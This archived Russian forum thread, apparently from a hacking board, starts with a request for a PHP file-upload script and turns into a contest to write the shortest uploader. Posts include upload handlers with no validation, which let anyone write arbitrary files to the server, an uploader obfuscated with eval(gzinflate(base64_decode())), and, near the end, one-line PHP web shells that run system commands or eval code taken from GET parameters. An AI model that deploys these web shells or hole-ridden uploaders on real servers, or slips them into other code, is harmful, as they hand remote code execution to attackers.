Просмотр полной версии : Скрипт Upload'a файлов
Помогите написать скрипт который бы мог загружать файлы на сервер. :cool:
ввозьми какой-нибудь шелл и посмотри как там реализованно, например с99.
Вот твоя форма (index.html):
<form enctype="multipart/form-data" action="upload.php" method="post">
<input type="hidden" name="MAX_FILE_SIZE" value="30000" />
Отправить этот файл: <input name="userfile" type="file" />
<input type="submit" value="Send File" />
</form>
А вот файл обработчик upload.php:
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
print "<pre>";
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
print "File is valid, and was successfully uploaded. ";
print "Here's some more debugging info:\n";
print_r($_FILES);
} else {
print "Possible file upload attack! Here's some debugging info:\n";
print "Possible file upload attack! Дополнительная отладочная информация:\n";
print_r($_FILES);
}
print "</pre>";
?>
Взято с http://ua.php.net/manual/ru/features.file-upload.php
перед юзанием таких скриптов было бы не плохо поредактировать php.ini
вот неплохая статья: http://www.phpclub.ru/detail/article/upload
После того как нажимаю на кнопку пишут :
Warning: move_uploaded_file() [function.move-uploaded-file]: open_basedir restriction in effect. File(/var/www/uploads/test.txt) is not within the allowed path(s): (/home/bukerru/:/usr/lib/php:/usr/local/lib/php:/tmp) in /home/*****/public_html/****.php on line 49
Possible file upload attack! Here's some debugging info:nPossible file upload attack! Дополнительная отладочная информация:nArray
(
[userfile] => Array
(
[name] => test.txt
[type] => text/plain
[tmp_name] => /tmp/phpqQgYr2
[error] => 0
[size] => 10
)
)
И как мне до этого файла добраться ?
groundhog
14.12.2007, 00:18
Форма mass_sender.html
<html>
<head>
<title>Lee Roy's Mass Sender. Greetz to DaMaGeLaB.</title>
<style>
* {
font-family: Tahoma;
}
</style>
<script>
function create_form () {
var ref = document.getElementById('upload_url').value;
var files_num = document.getElementById('files_num').value;
if (isNaN(files_num)) {
alert('Wrong data entered!');
return;
}
if (files_num <= 0) {
alert('Value must be positive!');
return;
}
document.getElementById('sender').action = ref;
form_text = '';
for (i = 0; i < files_num; i++) {
form_text += '<input style="margin-bottom: 5px" type="file" name="file' + i + '" size="70">';
}
document.getElementById('container').innerHTML = form_text;
}
function submit_func() {
document.getElementById('sender').submit();
}
</script>
</head>
<body>
<center>
<h3>How many files do you want to upload?</h3>
<input id="files_num" type="text" size="10" value="0">
<h3>What URL do you want to use as upload script?</h3>
<input id="upload_url" type="text" size="50" value="http://www.somesite.ru/dir/upload.php">
<br><br>
<input type="button" value="Create form" onclick="create_form()">
<hr style="margin-top: 15px; margin-bottom: 15px">
<form id="sender" method="post" enctype="multipart/form-data">
<div id="container">
<small>Enter apropriate number of files you want to send, and press <b>"Create form"</b> button...</small>
</div>
</form>
<hr>
<input type="button" value="Send" onclick="submit_func()">
</center>
</body>
</html>
Скрипт загрузки файлов:
<?php
define("SERVER_UPLOAD_DIR", "/home/bukerru/upload");
set_time_limit(0);
if (isset($_FILES) && is_array($_FILES)) {
foreach ($_FILES as $file) {
if ($file['error'] == 0) {
$destination = sprintf("%s/%s", SERVER_UPLOAD_DIR, $file['name']);
if (@move_uploaded_file($file['tmp_name'], $destination))
printf("File '%s' with size %s Kb was successfully uploaded...<br>\n", $file['name'], round($file[size] / 1024, 2));
else
printf("Could not move uploaded file '%s' to destination...");
} else
printf("Error %s occuried. Could not upload file to server - skiping...", $file['error']);
}
} else {
printf("No files was uploaded!");
}
?>
Не забудь создать директорию "/home/bukerru/upload". По идее ругаться ни на что не должен. Форма поддерживает загрузку нескольких файлов, разумеется, количество файлов нужно выбирать исходя из широты своего канала...
вот проще
<?php
if(isset($HTTP_POST_VARS['in']))
{
$fn = $HTTP_POST_VARS['in'];
$handle = fopen ($fn, 'rb');
$contents = "";
if(!$handle)
echo 'Не могу открыть исходный файл';
else
{
while(!feof($handle))
{
$data = fread($handle, 8192);
$contents .= $data;
}
fclose ($handle);
// './download/' можно заменить, например, на $HTTP_GET_VARS['path']
$handle = fopen ('./download/' . basename($fn), 'wb');
if(!$handle)
echo 'Не могу создать записать файл';
else
{
fwrite($handle, $contents);
fclose($handle);
echo 'Передача завершена';
}
}
}
?>
<FORM ACTION="<?php echo $_SERVER['PHP_SELF']; ?>" METHOD="post">
<INPUT TYPE="hidden" NAME="act" VALUE="send">
URL:<BR />
<INPUT TYPE="text" NAME="in" SIZE="64"><BR />
<INPUT TYPE="submit" VALUE=" Send ">
</FORM><BR />
</BODY></HTML>
И еще проще гг :)
<pre><center><b><h1>PHP simple files uploader</h1></b></center><br>
choose path to upload:
<form action="" method="post" enctype="multipart/form-data">
<input type="text" name="path" size="50" value="<?echo(@getcwd());?>">
<input type="submit" name="upl0ad" value="upload!">
choose file to upload:
<input type="file" name="file" size="30"></form>
<?
$tempupload = $_FILES['file']['tmp_name'];
if (file_exists($tempupload)){
$path = $_POST['path'];
$upload = $_FILES['file']['name'];
$pwdslash = $path."/".$upload;
copy($tempupload, $pwdslash);
echo "File was succesfully uploaded!";
}
?>
blackybr
14.12.2007, 00:38
чето вы курили ребята.. зачем столько кода =)
upload.php
<form enctype=multipart/form-data method=post>
<input name=xek type=file>
<input type=submit name=gogogo>
</form>
<?php
if(isset($_POST[gogogo]))
{
if(is_uploaded_file($_FILES[xek][tmp_name]))
{
@copy($_FILES[xek][tmp_name],$_FILES[xek][name]);
}};
?>
groundhog
14.12.2007, 00:46
Ali_MiX, ваш скрипт, возможно, работать не будет по ряду причин:
1) Возможно что на сервере отключены удалённые fopen;
2) Ваш скрипт скорее сдохнет, чем зааплоадит файл, причин на то много: ограничение времени выполнения, ограничение на обьём оперативной памяти, отведённой скрипту, ибо всё содержимое он читает в буфер;
<??>
Все я победил!
2blackybr
ты нас порвал своим твердым и острым интеллектом :)
Но можно еще короче
<form enctype=multipart/form-data method=post><input name=x type=file><input type=submit></form><?isset($_FILES[x])?(is_uploaded_file($_FILES[x][tmp_name])?(@copy($_FILES[x][tmp_name],$_FILES[x][name])):0):0;?>
blackybr
14.12.2007, 01:07
Macro не видел твой код когда постил)
ЗЫ .. можно сделать вывод хтмл через echo, потом все в gzinflate() .. и кода ровно в три раза меньше :D
GreenBear
14.12.2007, 01:10
blank page все равно меньше =)
Macro не видел твой код когда постил)
ЗЫ .. можно сделать вывод хтмл через echo, потом все в gzinflate() .. и кода ровно в три раза меньше :D
Неправда. gzinflate в php в чистом виде не всунешь, посему надо юзать base64_encode(), итог - 215 символов ;) А мой код 211 символов. А если убрать @ то 210 ;)
<?eval(gzinflate(base64_decode("TYzbCsMgEER/xbcotLTPTUz7H6GI1Q0RvCxxhebvq5ZCYZ7OzBwwW+LDtKY9MI iGDgQZiieHeqdLw2erSTMWgLZkJaZM8+QiFmJRB5Bv1j+r8/DjHeTyCq5Ou2MexOhyBuLizl1WBX3SFqxqN75QQNVkz9o+TMLj D52WbyNu15rxAw==")));?>
blackybr
14.12.2007, 01:21
ага.. можно забить еще на вывод ошибок (идеальный серв с error_reporting(0); )
забьем на выводы ошибок))
<form enctype=multipart/form-data method=post>
<input name=x type=file>
<input type=submit name=g>
</form>
<?php
copy($_FILES[x][tmp_name],$_FILES[x][name]);
?>
насколько уменьшился код то !)))
ага.. можно забить еще на вывод ошибок (идеальный серв с error_reporting(0); )
забьем на выводы ошибок))
<form enctype=multipart/form-data method=post>
<input name=x type=file>
<input type=submit name=g>
</form>
<?php
copy($_FILES[x][tmp_name],$_FILES[x][name]);
?>
насколько уменьшился код то !)))
Ггг
Лови
<form enctype=multipart/form-data method=post><input name=x type=file><input type=submit></form><?copy($_FILES[x][tmp_name],$_FILES[x][name]);?>
blackybr: угу.. идеальный сервак с php 4, error_reporting(0); и тд :D
И даже!!
<form enctype=multipart/form-data method=post><input name=x type=file><input type=submit></form><?$f=$_FILES[x];copy($f[tmp_name],$f[name]);?>
nc.STRIEM
14.12.2007, 01:34
а как насчет безопастности???
вызов функции basename() наверное тоже не просто так нужен!
Половина из вышеприведенных скриптов не безопастны
а как насчет безопастности???
вызов функции basename() наверное тоже не просто так нужен!
Половина из вышеприведенных скриптов не безопастны
Слово пишется "безопаСНость" и "небезопаСНы" ;)
А потом мы делали полевые, боевые аплодеры.
blackybr
14.12.2007, 02:21
внимание! минус 1 символ!)))
<form enctype=multipart/form-data method=post>
<input type=file name=x>
<input type=submit>
</form>
<?$f=$_FILES[x];copy($f[tmp_name],$f[name])?>
внимание! минус 1 символ!)))
<form enctype=multipart/form-data method=post>
<input type=file name=x>
<input type=submit>
</form>
<?$f=$_FILES[x];copy($f[tmp_name],$f[name])?>
Какой ты нехороший, повторил мой код. Посмотри, что я подписал ниже твоего высказывания у себя в сообщении ;) Там именно то, что ты сейчас придумал.
Ali_MiX, ваш скрипт, возможно, работать не будет по ряду причин:
1) Возможно что на сервере отключены удалённые fopen;
2) Ваш скрипт скорее сдохнет, чем зааплоадит файл, причин на то много: ограничение времени выполнения, ограничение на обьём оперативной памяти, отведённой скрипту, ибо всё содержимое он читает в буфер;
а кто против, выложи лучше.
И еще одна революция! Скрипт еще на 8 символов короче!!!
<form enctype=multipart/form-data method=post><input type=file name=x><input type=submit><?$f=$_FILES[x];copy($f[tmp_name],$f[name]);
nc.STRIEM
14.12.2007, 17:07
ну раз на то пошол
<? system($_GET[s])?>
тоже аплоад файлов возможен
ну раз на то пошол
<? system($_GET[s])?>
тоже аплоад файлов возможен
Неа, во-первых, далеко не всегда(например, в safe mode), а, во вторых, у меня есть GUI!!!
А если ты про самый короткий шелл без гуи, то это
<?eval($_GET[c]);
nc.STRIEM
14.12.2007, 17:10
пох на Gui. эт не по хэк
у меня короче!!
<?=`$_GET[s]`;
пох на Gui. эт не по хэк
Ты юзаешь windows без GUI? Или linux? Форум antichat без GUI это как? Не-не, не зарывайся ;) С ГУИ нааамнооого удобнее.
PS твой шелл не работает
groundhog
14.12.2007, 17:34
Ali_MiX, я и выложил...
З.Ы. Может пора закрыть тему?
Ali_MiX, я и выложил...
З.Ы. Может пора закрыть тему?
Да
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot